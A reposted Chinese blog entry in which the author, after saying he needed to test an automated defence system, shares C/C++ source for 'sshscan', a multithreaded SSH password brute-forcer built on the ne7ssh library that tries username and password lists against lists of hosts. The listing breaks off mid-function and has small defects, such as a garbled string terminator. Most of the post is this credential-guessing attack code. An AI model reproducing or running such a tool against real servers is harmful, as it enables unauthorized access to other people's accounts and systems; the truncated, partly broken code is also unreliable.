当前位置:编程学习 > 网站相关 >>

扫描ssh密码

很久以前有个人给了我一本小书名字是《heroes in my heart》,其中有一段是讲数学希尔伯特的。“一次在Hilbert 的讨论班上,一个年轻人报告,其中用了一个很漂亮的定理,Hilbert 说:‘这真是一个妙不可言(wunderbaschon)的定理呀,是谁发现的?’那个年轻人茫然的站了很久,对Hilbert 说:‘是你……’”
 
不是很久之前,我测试一个自动防御系统,需要进行ssh密码扫描。试了medusa和ncrack,悲剧的是在我的环境下都不够稳定。无意中发现坐对面的同事在用一个小巧的程序做测试,跑得还行,于是我说不错啊,这程序哪儿搞的。他看了一下代码,说”你写的“,于是我让他把代码发给我。最近一段时间一直没有更新博客,不是没有写的,而是可写的太多反而不知道写什么好,而且有些东西也不方便写出来。干脆贴一个老代码,滥竽充数吧。
 
 
 
/*  it's not a cracker, but scanner.version 0.1, code by yunshu(wustyunshu@hotmail.com) 2010-09-08you should install botan and net7ssh first, complie with "gcc sshscan.cpp -lnet7ssh -lbotan -o sshscan"be sure the ssh port is open, it will not detect service when it is scanning.  */
 
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <pthread.h>
#include <ne7ssh.h>
 
#define    MAX_HOST   10
#define    MAX_CONNECTION   5    
#define    USER_NAME"%USERNAME%"
 
typedef struct
{
       char target[512];
       int  cracked;
       FILE *user_fd;
       char pwd_file[512];
       pthread_mutex_t mutex;
}ScanArgument;
 
ne7ssh *ssh;
 
void Usage( char *str )
{
       printf( "%s  <ip_list>  <user_list>  <pwd_list>\n", str );
}
 
// copy from internet
char *
StringReplace(char *str, char *old, char *new_str) {
         int i, count = 0;
           int newlen = strlen(new_str);
                int oldlen = strlen(old);
 
                  for (i = 0; str[i]; ++i)
                                if (strstr(&str[i], old) == &str[i])
                                                ++count, i += oldlen - 1;
 
                       char *ret = (char *) calloc(i + 1 + count * (newlen - oldlen), sizeof(char));
                         if (!ret) return NULL;
 
                              i = 0;
                                while (*str)
                                              if (strstr(str, old) == str)
                                                              strcpy(&ret[i], new_str),
                                                                              i += newlen,
                                                                                          str += oldlen;
                                       else
                                                       ret[i++] = *str++;
 
                                     ret[i] = ' \0 ';
 
                                       return ret;
}
 
void *CrackPwd( void *_arg )
{
       ScanArgument *arg = (ScanArgument *)_arg;
       char user[256] = { 0 };
       char tmp[256] = { 0 };
       char pwd[256] = { 0 };
       int cracked = 0;
 
       FILE *pwd_fd = fopen(arg->pwd_file, "r");
 
       while( 1 )
       {
              // all users done, this thread will exit.
              pthread_mutex_lock( &arg->mutex );
              if( feof(arg->user_fd) )
              {
                   &nbs
补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,